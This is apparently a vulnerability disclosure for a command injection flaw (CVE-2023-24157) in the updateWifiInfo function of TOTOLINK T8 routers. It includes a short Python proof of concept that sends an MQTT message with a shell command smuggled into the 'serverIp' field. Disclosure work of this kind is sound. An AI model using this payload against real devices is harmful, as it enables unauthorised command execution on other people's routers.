CVE-2023-24157: CVE-vulns/updateWifiInfo.md at main · Double-q1015/CVE-vulns

A command injection vulnerability in the function updateWifiInfo of TOTOLINK Technology routers T8 V4.1.5cu allows attackers to execute arbitrary commands via a crafted MQTT packet.

In function updateWifiInfo,The “serverIp” parameter does not filter user input, which can cause command injection vulnerabilities

import paho.mqtt.client as mqtt

client = mqtt.Client()
client.connect("192.168.0.1",1883,60)
client.publish("totolink/router/updateWifiInfo", b'{"newMd5":"1","serverIp":";ls>/tmp/updateWifiInfo.txt;"}')